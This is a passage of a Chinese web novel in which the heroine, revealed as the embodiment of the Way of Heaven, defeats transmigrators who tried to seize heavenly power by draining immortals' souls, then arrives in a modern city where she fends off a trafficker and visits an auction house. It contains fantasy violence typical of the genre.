“是仙器?”
“嗯……差不多。”
“但其速度似乎不及飞剑,为何还要用此物?”
见李武德如此不解,满竹寒也懒得多解释,匆匆结束了这个话题。
车辆之妙处,岂是这初来乍到的土包子所能领会。
“待日后你自会明白,现在我先带你去见董事长。”
66. 天道世界
与此同时,空虚集团的办公大楼内,董事长正在接见一位贵客。
“今后便要多多仰仗了。”
“哪里哪里,你我多年老友,此事亦是为我们共同利益。只要基地一声令下,空虚集团定当全力以赴。”
“你们无需担忧风险,放心便是。”
“自然,有基地在,我们信心十足。”
类似的情景在各大集团不断上演。
基地一直是天界的中流砥柱,天界的许多实力构建都有基地的功劳,同样,天界的许多生活用具也都源自基地的传授,使用的基地产品更是数不胜数。
几乎所有人都以能在基地工作为荣。
不知不觉中,基地已悄然掌控了天界,只是众人尚未察觉。
天界的轻松氛围在不知不觉中逐渐消失,所有人都开始加紧修炼,每个人都有着不同的任务。
表面上一切如常,暗地里却有许多事情在悄然酝酿。
“咚咚。”
房门再次被敲响,云灵打开门,门外是少女的笑脸。
“云灵,我要走了,特来与你道别。”
“好,祝你今后顺遂无灾。”
云灵并不意外,因为她早已知晓林兰有此打算。
若非为了飞升,林兰已离开杨巅峰的身边。
云灵与这些人的关系,既非亲昵,亦非疏离。
杨巅峰对云灵的情愫,众人皆能窥见。
云灵对杨巅峰的无感,亦是人尽皆知。
在这些人中,唯有林兰对云灵抱有好感,对她欢喜。
林兰的离去,并未告知他人,连杨巅峰亦被蒙在鼓里。
云灵,是她唯一前来告别之人。
她能想象,自己离开后,那些表面上与她交好的女子们的笑颜,以及杨巅峰的怒火。
与杨巅峰相处日久,她已深知其真性情,这亦是她决意离去的缘由。
他,并非她的良配。
飞升之愿已了,在这新天地,她欲独自追寻另一种生活。
不为修炼,不为争强,只为悠然自得。
“那么……若有缘,再会。”林兰作别道。
云灵微微颔首,目送林兰离开,对于林兰,她给了祝福,林兰未来的道路,将顺遂无阻……
穿越者们的计划正逐步展开,天界与下界,宛如被彻底隔绝的两个世界。不同的环境,不同的生活习惯,以及不同的追求。
林兰离去的消息传出后,那些女子果然暗自窃喜了一阵。
而杨巅峰因忙碌,暂时还未察觉这些变化。
待他察觉时,林兰早已不知所踪。
因云灵作证林兰是自愿离去,杨巅峰作为男子,需保持风度,不便强行追寻,只得作罢。
******
“追查到它的下落了吗?”
基地中心的大楼内,几人正忙碌地操作着,投影中一个光点在闪烁。
“找不到。”一人回答。
“我也一无所获。”另一人附和。
“我亦如此。”第三人道。
“怎会如此?”疑惑声四起。
一名女子冷着脸,倚靠在长桌上,周身散发着强者的气息,令人不敢直视。
许多人误以为基地的首领是男子,实则不然,乃是一位女子,一位极美的女子。
“自上次探测到它能量溃散迹象后,便再也无法探测其位置。”一人说道。
“那就依照它的运行轨迹去寻找。”她命令道。
女子短发,五官硬挺,美艳中带着冷峻。在她眯眼的瞬间,那种致命的美,让人即便知道这是一朵带刺的玫瑰,也愿意毫不犹豫地伸手触碰。
“找过了,都没有。”有人回道。
“南姐……它会不会……已经消散了。”一人小心翼翼地问。
“不可能。”艾南冷冷地斥责那人,按在桌面上的手轻轻敲打。“若它已消散,那些人便不可能飞升。继续探查。”
******
“云灵,你出来了。”
身后传来男子的声音,云灵回头,便见一张灿烂的笑脸。
这是杨巅峰的兄弟之一,渡劫前夜,他也给云灵送过一个储物袋。
“嗯。”云灵颔首。
那男子并未因云灵的冷淡而退缩,反而向前凑了几步。
“闭关这么久,你的修为有提升吗?自从来到这里,我的修为就停滞不前,也不知是何原因。”
男子故作懊恼地叹息一声,神色有些黯然。但当他的目光转向云灵时,立刻又亮了起来,仿佛只要看到她,心中所有不快都能瞬间消散。
这些人都自以为掩饰得很好,但在云灵看来,这演技实在尴尬。
不过,他们愿意装,她也就当作不知。
那些女子担心她与她们争夺杨巅峰,便让这些男子来勾引她。
这些男子真正喜欢的是谁,大家心知肚明。也只有杨巅峰那个自负的人,还以为这些男子真的心甘情愿地放下,这么快就移情别恋了。
暗地里戴了这么多顶绿帽子还不自知。
云灵想着,突然有些期待杨巅峰知道真相的那天。
日子在等待中一天天过去。
艾南等人夜以继日地寻找天道的位置,却不知云灵就在他们眼皮子底下。
杨巅峰再次找上云灵时,实力已经大增,而云灵的修为自然也没有让他失望。
“此次召集诸位,是为了助大家突破修为……”
艾南的话语听起来颇为动听,能够听见她心声的云灵,却洞悉了他们的真实意图。
他们一直无法定位天道的位置,于是决定主动出击,计划利用修为提升时的雷劫来探查天道的所在。
他们不信,这么多人同时渡劫,还引不出那天道。
即便不能,也能借此增强自身实力,为夺取天道之力增添胜算。
“这是基地研发的丹药,可助诸位突破瓶颈。我们已做过实验,确认无任何副作用。只是药材极为稀有,故数量有限。在座的各位都是精英,我们相信,你们值得基地的这份馈赠。”
众人的目光紧紧盯着药瓶,眼中闪烁着贪婪的光芒。
“多谢基地长!”
“基地长的恩情,我们永生难忘。”
“今后基地长但有吩咐,我们定当万死不辞。”
没有副作用?那自然是不可能的。但艾南也不会将真相告知。
云灵从众人的心声中得知了丹药的副作用,嘴角不由露出笑意。
渡劫时的强度将是平时的数倍,死亡风险极高……即便成功,未来体质也会弱于常人,而且基地还能在背后操控他们……
若这丹药广泛流传,整个上界恐怕都要沦为基地的傀儡。
众人感激涕零,都以为自己是幸运儿,却不知自己已成基地利用的棋子。
天下没有免费的午餐,如果有,那么百分之九十九都是陷阱。
丹药分发完毕,每个人都紧紧握着手中的丹药。
“渡劫的地点基地已为大家安排妥当,我们会尽最大努力确保大家的安全。”艾南继续说道。
“多谢基地长。”
又是一阵感激之声,云灵和杨巅峰等人被带离基地,来到基地安排的渡劫之地。
这里是一座独立的高峰,峰顶布有防御阵法,看似安全,但云灵却在其中发现了小型的引雷阵。
这些引雷阵极为隐蔽,而且是被动触发的。
基地之所以如此明目张胆,是因为在渡劫时,众人根本不会分心注意周围,自然不会发现这些引雷阵。
云灵在自己的位置坐下,然后在艾南的引导下服下丹药。
所有人都就地打坐,忐忑地等待着即将到来的雷劫。
足足等了一个时辰,预想中的雷劫并未降临。
“怎么回事?”
“没有雷劫啊。”
“我感觉自己已经触及瓶颈了,但为何雷劫迟迟不来?”
艾南等人已返回基地,守在大楼内,就等着雷劫出现时捕捉天道。
在艾南等人眼中,天道是一种可移动的能量体,他们今天要做的就是捕捉这个能量体,并吸收利用,制造出他们需要的东西。
时间渐渐离去,众人的心情从最初的激动,逐渐变得平静,开始感到失望。
艾南的脸色也沉了下来,难道这天道还知道避开他们不成?
云灵轻瞥基地方向,手指在腿上轻敲,节奏分明。
既然他们如此期盼她的到来,那就让他们瞧个真切。
天界的苍穹之上,一团能量缓缓凝聚。
云灵并未现身,而是在他们心中勾勒出天道的形象。
“天哪,这股威压,我从未感受过。”有人惊叹道。
“基地长,这可是千载难逢的良机。”
艾南瞬间领悟,立刻下令:“所有人准备,随时启动计划。”
他们必须在捕捉到天道的踪迹时,一击必中。
只能成功,不许失败。
对天道不敬的后果,他们不愿知晓,更不想亲身体验。
艾南等人的紧张情绪,云灵自是心知肚明。
天际的乌云开始汇聚,分成两路,一路直奔基地,另一路则朝云灵等人所在方向涌去。
“咔嚓!”没有任何预兆,天雷骤然劈落,将一群人劈得晕头转向。
这边的天雷一道接一道,而基地那边的天雷却如雨点
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般密集,将基地的防御结界劈得粉碎,却未伤及基地分毫。
“看来我们的材质构造相当成功。”有人赞叹。
当初建立基地时,他们便考虑到了天道的代表——雷。因此,基地的建造选用的都是防雷材料,现在看来效果显著。
艾南等人在“天道”出现的瞬间便锁定了它的位置,并开始发动攻击。
“请大家将仙力灌入基地石。”艾南的声音通过天界的喇叭传遍四方,同时,各大集团也下达了同样的命令。
云灵对基地石并不陌生,几乎天界的每个人都拥有一颗,挂在胸前,可以为佩戴者挡下一击。
她也收到了一颗,研究后发现里面藏有一个阵法。
基地的行动并非秘密,许多人都知晓。这些人没有选择阻止,反而支持,云灵也不明白这些人的想法。
天道若被有思想、有感情的人掌控,那么这个世界也将走向毁灭。
或许他们是为了走后门,但这个后门恐怕没有他们想象中的那么好走。
随着基地中一道道光芒亮起,乌云中的能量体被困住,开始挣扎。
快了!马上就能成功了。
“加大力量。”艾南的嘴角勾起一抹笑意,同时天界的一个个上仙胸口猛地剧痛,头部仿佛要炸开一般。
这才是基地石真正的目的,他们要用来对付天道的力量并非仙气,而是灵魂之力。
仙气和灵气本来就是依天道而生,又怎么可能拿来对付天道。经过众多雷劫洗涤的上仙灵魂中蕴含的力量,才是最佳武器。
被吸取了灵魂之力的人急速虚弱,一个个倒在地上。
“走。”艾南的身影从基地直冲而上,另外九十多个人影也从各个地方飞出。
‘天道’被困住,雷劫自然终止。
杨巅峰的身影也飞向上空,云灵扫了一眼,整个天界的人几乎都倒下了,而基地的几块基石中还有灵魂之力在不断涌出。
这些穿越者倒是聪明。只不过利用方法不对……太浪费了。
云灵将那些灵魂收归天道,没有人发现那些灵魂之力在不断消失,就算发现也只以为是因为‘天道’挣扎导致溃散而已。
天空中的那一百人正在不停地变换阵法,手中拿着的东西也在吸收着‘天道’的能量。
“成功了!”
“哈哈哈!”
随着笑声的传开,云灵幻化的那能量体也被吸收得干干净净。
“你们有没有觉得……太顺利了。”有人迟疑,防备地看向四周。
艾南感受了一下,天地之间传来的亲切感让她有种这天地就是她的化身的错觉。
她还只是吸收了部分的能量而已,她有预感,如果自己全部吸收,那么自己就能化身成为天道。
“放心,没事。”艾南说道。
“基地长,那些人怎么处置?”
他们一心只想着怎么利用这些人,倒是没有考虑过怎么处理这些人。
“先收入基地的地下空间,等我们成功以后就洗去他们的记忆,将他们丢入轮回。”
他们之前向这些人许诺事成以后,让他们的亲人全部回来,并且让他们成神。
现在嘛……他们不过是任自己处理的垃圾而已。
也不想想,他们见证了自己剥夺天道的过程,怎么可能将他们留下来,留下来让他们剥夺自己吗?就算是自己身边的这些人……艾南也会将他们送回原来的世界,亦或者是洗去记忆,丢入轮回。
“以后执掌这个天地的,就将是我们的基地,而不再是天道了。”幻蓝勾唇,其他人也兴奋地大笑起来。
……
“你们……这是怎么了?”李武德在空虚集团住了一段时间,由于对这个世界过于陌生还没有开始任职。
他看了满竹寒给自己的书,有些地方还是不懂,所以准备请教,谁知居然联系不上对方。
这才准备出来查探,却没想到出来就看见倒了一片的人。
上前去探了鼻息,有呼吸,还活着。难道是中毒了?可这仙界的毒他又不了解,这可怎么办……
还有,为什么他没中毒?和李武德有着同样疑惑的还有不少没有激活基地石的人,这些人或是不愿意,或是有事,反正被各种原因耽搁了,这才挽回了自己一命。
正在疑惑间,就有人为他们解了惑。
云灵将几人的对话传播了整个天界,相信过不了多久,应该就有人会来基地。
这件事她自然是要出手管的,只不过不是现在。
她必须要永久地打消这些人对天道不敬的念头,同时还得让人帮她把这个概念散播下去。
要让众生知道,对天道不敬,后果是很严重的。
67. 天道世界
云灵静立于幻蓝等人之侧,倾听他们如何瓜分天道之“遗骸”,以及他们对未来的憧憬。
这群人却不知,他们以为捕获的天道,不过是云灵所设之幻境。
他们兴致勃勃想要拿回去的东西,实则并不存在。
他们之前所见的能量体确实存在,但此刻已尽数回归云灵身躯。
艾南等人刚回到大楼,便见许多人聚集在基地之处。
一路上虽已见不少倒地之人,但见到基地的状况,仍不免心惊。
“这……究竟是怎么回事?”
“不知。”
虽然众人互不相识,却自然而然地搭话。
“我已查看过,这些人并未死去。”
“你们要找出异常之处吗?”
“没有。”
“我看不出。”
“这些人的命格已无法掐算。”
“什么!”
众人大惊,命格无法掐算只有一种可能,那便是此人已魂飞魄散。
即便是步入轮回,命格依旧存在。
“但他们还有呼吸,明明还活着。”
“此事恐怕只有基地之人能为我们解释。”
有人一甩衣袖,基地的几栋大楼晃动了几下,并未如他所想那般倒塌。
“看来这个基地不简单。”
基地的存在,整个天界皆知,只是有些强者自视清高,自然瞧不起这些不入流之物。
若非天界突现异象,他们也不会出山。
云灵坐在基地大楼的楼顶,大楼内飞出几人,见到外面的大能时愣了一下。
怎会有这么多人?
基地外各处站立之人加起来至少上千,还有不少人正在涌现,显然不止这些。
“基地长,出了一些事,恐怕需要你来解决。”
云灵立刻看见隔壁的大楼中不少人飞出,与众人对峙。
不一会儿,对峙的人群随即打了起来。
云灵在赶来的人中看见了林兰,林兰身前还有一个女子,看两人的模样,似乎是师徒关系。
基地之人实力不弱,且配合默契,以百人之力对抗上千人竟丝毫不落下风。
以往动动手指就能将人压制的老祖们,在这群“小年轻”手中竟吃了大亏,一个个身影如饺子般落到地上。
“你们这样会遭天谴的!”
失去战斗力的老祖们只能指着艾南等人大骂。
这些人都是些“老顽固”,见他们还相信着心中的天,艾南不禁想笑。
“天谴?你们恐怕还不知道天道已被我们掌控了吧?现在除了你们,还有谁能动得了我们?不对,即便是你们也不能。来的正好,方便我可以一网打尽。”
“等解决了这些人,这世界也该调整一下了,尽是些不懂变通的老顽固。”
“你们!你们!”
一群人被气得浑身颤抖,鲜血更是一口接一口地从嘴里吐出。
“你们这些狂徒!难道想要毁灭整个世界吗?”
有人悲愤地呼喊,心中充满了悲凉。
天道究竟为何物,那些站在世界顶端的强者,心中自有几分感知。
天道岂是人所能掌控?恐怕最终只会导致世间万物消逝。
“你们又懂得什么?有人类居住的世界,自然应由人类主宰。你们真的甘心被那虚无缥缈的天道所束缚吗?”
“束缚?若这世界失去了束缚,那将会陷入何等混乱?你们可曾想过?”
“放心,你们喜欢束缚,我将来也会给予你们束缚,只不过我会让这个世界更加公平。将来所有人都将站在同一条起跑线上,拥有相同的灵根,相同的天赋,先天所拥有的一切都将一致,剩下的就只能靠他们自己努力。”
艾南光是想象,就觉得自己无比伟大,必将赢得无数人的感激。
不再有人因先天优势而压制他人,恶人将立即受到惩罚,整个世界将充满祥和。
她要创造一个如同天堂般的全新世界。
“那样的世界,光是想象就令人心驰神往。”
“你是不是童话故事看多了?”
突然间,一道不和谐的声音插了进来,艾南的目光寻声而至,一位少女双腿在空中悠闲地晃荡,神态自若。
“你是谁?”
艾南从未见过云灵,听她的言辞,似乎也是个穿越者。
“你不认识我?”云灵故作惊讶,眉梢微挑。
“呵,你是谁?我应该认识你吗?”
基地这些年的影响力让基地的人都有些自傲,身为基地长的艾南更是如此,小小一个路人,值得她认识吗?
“你们不是已经讨论了我很久了吗?怎么还不认识我呢。”
“讨论你?”
艾南上下打量了云灵一番,脸上的鄙夷之色显而易见。
这人她根本未曾见过,怎会讨论她?恐怕是个疯子。
听到艾南的心声,云灵轻轻扣了扣自己的手指。
“你们忙活了这么久,连自己要抓的对象都没搞清楚,啧……真是废物。”
云灵的脸上露出失望的神色,但艾南却只听见了后面两个字。
曾几何时,也有人用手指戳着她的额头,恨铁不成钢地骂着。
“你怎么就这么没用?像你这种废物,怎么不去死呢……”
她为何显得无用?还不是因为出身卑微。
别人轻而易举便能得到的东西,她需耗尽一生之力方有可能触及。
别人所不屑一顾的,于她而言却是梦寐以求。
她们怎能理解……又怎会理解!
“呵!废物?即便是废物又如何,今后你们的命运,都将由我这个废物来安排。我要你们成畜,你们便是畜;我要你们为物,你们便是物。
“你们,将来是何等存在,全凭我一念之间!哈哈哈!”
艾南狂笑着,一把抓住手中的仪器,开始吸收其中的能量。
一息过去,两息过去。一炷香的时间过去……
“能量呢?是不是你们动了手脚?”
艾南表面上镇定自若,内心却早已慌乱,指着身边的那些穿越者,手指微微颤抖。
自己的行为肯定让他们心寒,即便他们真的动了手脚,她也没有立场去指责。
云灵远远地观望着,原本晃动的双腿收起,缓缓站起身。
“能量?那是假的。”
“不可能!”
艾南曾亲自吸收过,那些能量的真假她难道还分辨不出?
“你们谋划了这么久,我在你们基地潜伏了这么长时间,居然都没有发现,还想取代我,是谁给了你们这样的自信?是我让你们吸收的那点雷能量吗?”
“你?”
“你是天道!”
穿越者们纷纷瞪大了眼睛,想要看清楚云灵。
怎么可能!
天道居然是个人类。
不,不对,天道并非人类。
林兰捂住胸口,抬头望向楼顶站立的人影,可惜距离太远,她只能看到一个模糊的轮廓。
她的存在感一向不强,然而此刻,她就像是天上的烈阳,耀眼、夺目,又带着一丝温暖。
还好……还好没有让这些人的计划得逞。
虽然只是寥寥数语,她也听懂了艾南话中的含义,她想要将所有人都赶尽杀绝,投入轮回。
这里的人辛苦修炼百年、千年,乃至万年或更久。就为了她口中的那个世界,为了她一人的想法,就要让他们的努力全部白费,他们怎会甘心。
她竟然是天道。
怪不得,自己会对她生出莫明的好感,怪不得,她身上异宝和财物似乎取之不尽。
只是她想不通,这样的她,为何要跟随她们一行人,在修仙界界耗费了百年才来到天界。
云灵的身份有人信服,有人怀疑,而在穿越者之中,有一人是亲自接待云灵等人进入基地的。
“不过是个黄毛丫头,还想装成天道。”
“大家别怕,她就是个普通人,是跟着杨巅峰一起上界的,当初我见过她。”
听到这些话,有人想去击杀她,纷纷驱使着仙器与术法,向云灵袭去。
不管她是不是天道,他们都要抢占先机,打乱艾南的节奏。
若是再让艾南牵着鼻子走,那么他们的下场好一点是被投入轮回,坏一点可能就是直接魂飞魄散。
云灵意念一动,这些人只感觉有某种无形的力量禁锢了他们全身的仙力,飞行的姿势一僵,然后从半空中跌落。
“真是不听话,乱跑什么,现在摔了吧。”
原本这点高度对于仙人来说不算什么,然而这些人跌落之后却浑身骨头断裂,当场晕死过去。
李武德坐于地,正凝神观戏,忽闻一声轻笑,心头一凛,转头便见一少女笑吟吟地立于身旁。他下意识地反问:“做……做什么?”
“在他们心口补一刀。”云灵手指向那边躺着的几个奄奄一息的穿越者。
刀被塞进李武德手中,他只觉刀身烫手。往事如潮水般涌上心头,当年他目睹自家长老为了抢夺宝物,将人压得动弹不得,最终却被一不起眼的人反杀。那一幕,他至今仍记忆犹新,只因那
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事太过震撼,长老当场被雷劈成了凡人,不久便离世。
他心中疑惑,为何雷会无缘无故地劈向长老。如今这些人将他们打得毫无还手之力,却在攻击少女时突然坠落,亦是古怪至极,他亦感受不到这些人身上的仙气。
余光瞥向地上的人,只见他们正在极速衰老。
李武德手一抖,忍不住后退了一步。
那日的明明是个男子,如今自称天道的却是个女子……李武德不敢深想,虽然能修成仙人的都不是凡人,但在天道面前,他也不过是蝼蚁而已。
“去不去?不去我另外找人。”云灵推了他一下,再不动手那些人可就要死了。
“去去去。”李武德连忙应道,心想,反正现在自称天道的是她,帮天道办事,也算是功德一件。
他站起身来,只觉胸口不再疼痛,浑身轻松,仿佛还能再战一场。
“你想做什么?”几个穿越者有气无力地问道,心中虽想逃离,但断裂的骨头让他们动弹不得,只能瞪大眼睛看着逐渐逼近的匕首。
随着匕首刺进胸口,一个个灵魂从躯壳里飘出。“怎么……怎么会……”
有仙人捂着自己的嘴,不敢看地上那几个格外凸出的老者。
他们全身布满老年斑,原本光滑的皮肤犹如老树般枯死,头上的白发掉了一地,口中的牙齿脱落被含在嘴里,灰色的眼瞳瞪大,似乎在不甘,也似乎不敢接受自己就这么死去。
在清一色年轻人中,几个老者显得格外的丑,主要是太老了,老得让人害怕。几千上万岁的人,其老态又怎么会是那些普通的老者能够比拟的。
自修仙以来,见过最老的人也就是白着须发,面色红润的人。突然看见这样的老者,视觉的冲击让这些人开始恐惧。
“你做了什么?”艾南捏紧手中的仪器,盯着云灵,目光微微闪动。
“没什么,也就是剥夺了那些不属于他们的东西而已。你们来自异界,这个世界的灵气和仙气都是你们所不应该拥有的。”
“不应该拥有,那就应该还回来。”
“不可能,你绝对不是天道,你到底是谁?潜伏在这里做什么?你是不是也想获得天道的力量,所以才装成天道的样子迷惑大家。”
那些没有被抽走灵魂的人虽然已经被她击败,一战之力还是有的,她想要煽动人心,让别人为自己试水。
不管云灵到底是不是真的天道,她都必须要杀了她。
都是活了这么多年的人,谁也不是傻子,怎么可能被她煽动。
“如今天道在我手里,大家如果杀了她,我就释放天道,让它重归世界。”
“你是脑子有问题,还是觉得他们脑子有问题,我在这里可不在你手里。”
云灵说完,又觉得自己这样废话好像没什么意义,她抬手一挥,天上站着的一群人刷刷刷的掉落,随之而来的还有一道道天雷。
明明他们身边躺着很多人,那些天雷却只劈他们,旁的一点也不沾。
“劈完你去补一刀,把那个女的留下就可以了。”云灵指了指艾南,李武德擦掉身上的血迹,郑重点头。
云灵意念微动,那些被抽走灵魂之力的人全部悬浮在了空中,同时之前被艾南等人抽走的灵魂之力也回归那些身体。
被抽走灵魂之力,这些人失去了行动能力,意识却是清醒的。这里发生的一切,都被云灵扩放,这些人也知道了基地建立的目的。
当初艾南说的可不是这样。差点死亡的恐惧,被欺骗的愤怒,齐齐涌上心头。
随着晕倒的人醒来,一句句谩骂传开,有的人还能动弹,有的却只能睁着眼睛无助地看着天空。
灵魂之力缺失,以后这些人都不可能再像曾经一样修行,成仙以后近乎永恒的生命大幅度缩减……
在发现这些后果以后,仙界都是对基地的骂声,原本属于基地的那些痕迹也逐一被抹除。
当然,这是后话。
此刻,这些人中情况好些的,都来到了基地,就为了看看云灵要怎么处置这些人。
云灵并没有折磨他们,至少在这些修士看来是的。然而……
只有躺在地上的这些穿越者知道,劈在他们身上的每一道雷到底有多痛,那种肌肉老去的感觉到底有多让人害怕。这比抽筋扒骨更让人难受。
修了这么多年的仙,早就已经习惯了这个世界,习惯了自己的强大,习惯了永生带来的快乐……
此刻,他们却要这么清晰地感受着被剥夺这一切的感觉。
等雷劈完,艾南已经奄奄一息,躺在地上,眼中满是不甘与恐惧。
68. 天道世界
云灵蹲在艾南身旁,两人此刻仿佛尘世中的凡夫俗子,而非高高在上的天道与仙人。
艾南的眼神缓缓聚焦。
若是往昔,她或许还有心一搏,夺取天道之力。然而此刻,她方知自己之愚昧。既然她能设法获取天道之能,以为凭凡人之识便可驾驭天道,那天道又何尝不可能是人呢?能量之体再强大,终究是无智之物,而人则不同,既有思想,又有意识,若再辅以绝对之实力,又岂是她这区区凡人所能匹敌?
“求你,让我死吧。”她的声音中带着无尽的绝望。
浑身肌肉萎缩,逐渐失去控制,伴随着深入骨髓的剧痛。这种感觉,远比死亡更令人难以忍受。
“想死亦可,解释你真正的目的。”
为了永绝后患,云灵必须让众生铭记,亵渎天道的恶果。
“解释?”艾南不解云灵此举何意,却还是闭上眼,开始述说。
她的声音在世界回荡,下界的人们初时还以为是幻听,询问旁人后,方知非幻听。
“我想要掌控这天下,虽说是为了天下苍生,实则不过是贪图那绝对的力量。我厌恶那些天生资质非凡之人,更厌恶那些在底层苦苦挣扎之人,因此我想掌控一切,我想洗刷他们……”
随着艾南将心中真正的想法吐露,天界的那些支持者这才真正意识到,自己究竟做了何等蠢事。
若让她得逞,非但他们将失去现有的一切,连他们的后代也将被彻底洗牌。届时,天地将重构,万物将重生,一切将归零。
云灵悬浮半空,原本少女的笑意消失,面无表情地看了一眼基地周围的仙人。属于天地的威慑让这些人情不自禁地跪了下来,匍匐在地,不敢言语。
“我为天道,乃世界之秩序,世间万物,皆需约束与监察。亿万年来,天地初生的那批神者,拥有比现今你们所谓的仙人强大万倍的力量,他们亦需敬畏于我,只因他们的力量,亦是我所赐予。
你们倒是厉害,不过修炼数万年,便认不清自己的位置,是我对你们太过宽容了。从今往后,亵渎天道者,魂飞魄散。世间灵气与资源减半,雷劫加重五倍。
若还有人觉得天道不公,那便报应翻倍。”
若说起初这些人只是后怕,那么现在便是彻底的后悔。可惜他们没有机会,在云灵话音落下的瞬间,天界无数仙人身体溃散,消失无踪。同时消失的还有那些不应出现在这个世界的异物,以及世间的灵气与资源。
除了凡人凡兽外,世界的所有生灵都在心中将艾南等人骂了个遍,做什么不好,偏要去招惹天道,怎的?漫漫修仙路还不够他们走的,非要去瞎折腾。
本来升仙就难,现在更是难上加难,恐怕万年都难以飞升一个了。
也确实如此,云灵此番降罚,让天界仙人万不足以,而留存下来的仙人,他们今后的路也更加顺畅。
云灵意念微动,降下万万规则神雷,将世界上那些怀有罪孽的生灵,一一劈得魂飞魄散,此举,云灵早就想做了。
有罚就有奖,若是怀有善德的凡人凡兽,他们的生活将无病无灾,善德终老;若是修士与妖兽,他们的修行之路将顺畅非凡。
自这件事之后,今后的生灵对于天道的敬畏日益加深,特别是林兰,对于天道的推崇无以复加。
随着时光,林兰凭借着天赋,成为天界第一仙,在众生灵的推举下,林兰荣登天地至尊,代天道执掌世界的秩序。
后来的世界,妖兽成仙的比修士成仙的更多,原因就是妖兽更为单纯,没有人类的那么心思复杂。
云灵在将权柄交给新生天道之后,选择了离开……
******
云灵睁开双眼,眼前光线昏暗,四周是一条无人的狭窄暗巷。
她尚未融合这个世界原主的记忆,便听到身后传来一道破空之声,由远及近。
她站在原地,岿然不动,直至那攻击即将触及她的刹那,才如鬼魅般闪避开去。
手刀落空,袭击者心中一沉,一股不祥的预感油然而生。
而事实,也证明了他的预感是何等准确。
他还未来得及做出下一步反应,云灵已回身一拳,直击其腹部。
那歹徒应声倒地,腹部的剧痛让他的身体蜷缩、抽搐,连伸直双腿都成了奢望。
他的脑海中只剩下一个大大的“懵”字。
他纵横都市数十载,人送外号“人口贩卖小王子”,如今,竟被自己前几天盯上的“货”给打趴下了?
在这难以视物的小巷中,歹徒那双习惯了黑夜的眼睛,勉强能看清面前的人影。她身形瘦弱,发色枯黄,浑身上下脏兮兮的,憔悴而软弱——这正是他敢下手的原因。
然而此刻,这个本该任他宰割的“货”,却只用了一拳,便让他毫无还手之力,这怎能不让他震惊?
常言道:女孩子用小拳拳捶你胸口,是一件令男人无比幸福的事情。可如今这个女孩子的拳头,却打得他五脏六腑移位。
常言道,果然是骗人的……
歹徒怕被人发现,特意选了这条人迹罕至的巷子,如今,他痛得连声音都发不出,更别提求救了。
这真是自掘坟墓的典范。
云灵在云霞世界逍遥了几百年,突然被神祇宝典送来这个话本世界,正是脾气上头的时候,刚好就撞上了这么个招惹自己的倒霉鬼,下手自然没有留情。
幸好这具身体虚弱无力,否则她一拳下去,歹徒的腹部至少得对穿。
是的,无论是哪个话本世界,云灵所用的身体,都是神祇宝典演化的,只不过是按照原主的模样与身体状态演化。
云灵不再理会地上的歹徒,正准备离开这个小巷,融合原主的记忆,就在此刻,歹徒眼中划过一丝狠厉,一咬牙,手中的匕首冷光一闪,脱手而出,直直朝云灵飞去。
这一下可谓是铆足了力气。
就在匕首快要碰到云灵的时候,她轻巧地避开,怒气填胸的她回身,提起正惊恐的歹徒,一拳打爆了他的脑袋。
白花花的脑浆四散,却没有能触碰到云灵,她将脑袋稀烂的歹徒扔下,再次转身朝小巷外走去。
云灵边走边融合原主的记忆,这才发现原主是真的惨,无父无母,自小流浪,最后被歹徒杀害,成就了别人的机缘。
云灵在瘠薄的口袋里搜索了一阵,不一会儿就摸出了一块拇指大小的玉佩,上面雕着简单的花纹,普通且劣质。
“机缘?”
云灵想到话本里,别人用原主的传家宝成功走上人生巅峰,当下,她手掌轻轻一握,那玉佩就化成了粉末。
机缘?机缘个鬼!
夜风吹来,云灵手掌上的粉末,不一会儿就被吹散,她拍了拍手掌,继续向外走。
云灵在深夜的街道上漫无目的地走着,不久,一间拍卖行映入眼帘。
这家拍卖行估计只是一个分行,看着小到寒酸,照理说,就算已经歇业关门,拍卖行也该留两个人住下来守店吧?可此刻,其它地方灯火通明,唯独拍卖行这一栋黑漆漆的,不开灯,反而仅靠着一盏小蜡烛照明。
蜡烛的光线,在习惯了日光灯的现代人眼中无疑是晦暗的,更何况这蜡烛还挺小,只够照亮柜台那一小部分。
大门敞开着,说明对方现在还没歇业,不过这个情况,也没办法营业就是了。
云灵心情不好,又加上与神祇宝典一番讨价还价,心情更是不好,因此云灵踏入门槛的一瞬,拍卖行如同被冷气席卷,在炎炎夏日迎来突如其来的凉爽。惊得里面的人久久无法反应过来。
“不是电路出故障了吗,怎么好像空调还开着?”
云灵别说她一向赤脚,就算穿着鞋,走路也不会有声音,以至于在打电话的前台小姐完全没发现有人进来。
直到云灵站在柜台前,烛光在墙壁的投影被她挡下一大部分,前台小姐才察觉到许些不对劲,她僵硬地转过头,一眼就看见了,在那张昏暗烛光下,苍白的脸。
“啊——!!”
前台小姐惊恐地尖叫出声。
手机从手里掉落,下意识地后退几步。
即便云灵整个人完整地出现在柜台前,前台小姐的尖叫都没有停下来的意思,反而越发凄厉。
惊飞了好几只在门口小憩的麻雀。
云灵揉了揉耳朵,朝前台小姐安抚道:“我是人,不是鬼!”
前台小姐终于停止了尖叫,她扶着柜台站起身,声音还有些颤抖:“您好,非常抱歉……我们这段时间暂时不营业,还在等修理工……”
“我卖东西,找你们这能出价的来。”
云灵的话,是前台小姐万万没想到的,因为现在的云灵,任谁看见,也只会以为是一个流浪乞讨的女孩
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子。
原主当然没什么好卖的,她只有一块玉佩,虽说是个机缘,但在外人看来,只是一个劣质的玉佩,根本不值钱。
更何况,那玉佩已经被云灵捏成粉末随风飘散了?
云灵在前台小姐惊讶的目光下,她将置在身后的手拿了出来。
掌心处,静静地躺着一颗圆润的珠子。
在夜色的衬托下,小珠子仿佛在发光,十分漂亮。
望着眼前这颗珠子,前台小姐之前准备好的说辞,忽然都哽在了喉咙里。
她的声音近乎尖叫:“难道是夜明珠?”
这当然不是夜明珠,也不是修行界的玉石,当然,也非普通的玉石,而是神祇宝典演化的。
打工,云灵是不可能打工的,只好烦着神祇宝典给她开挂咯!
谁让云霞世界的真实物品不能在话本世界拿出来呐,不然,她需要这么苦兮兮嘛?
“不是夜明珠。”云灵直接否决了前台小姐的猜测。
前台小姐尴尬地笑了笑,她本就不是鉴定师,只是下意识地将这珠子和夜明珠联系在了一起。被驳回后,她很快调整过来,将云灵迎进了会客室。
“您在这里稍等,我去请老板过来。”
在这种小县城,拍卖行的客人并不多,所以总部调了一个已经退休的鉴宝师来做小老板,既解决了鉴宝师的养老问题,又能顺便为总行搜罗一些奇珍异宝。
前台小姐要去喊的人,自然就是这位半退休的老板。
她将烛台放在店中照明,和云灵打好招呼后,便匆匆离开了。
高跟鞋敲击地面的声音回荡在拍卖行内。
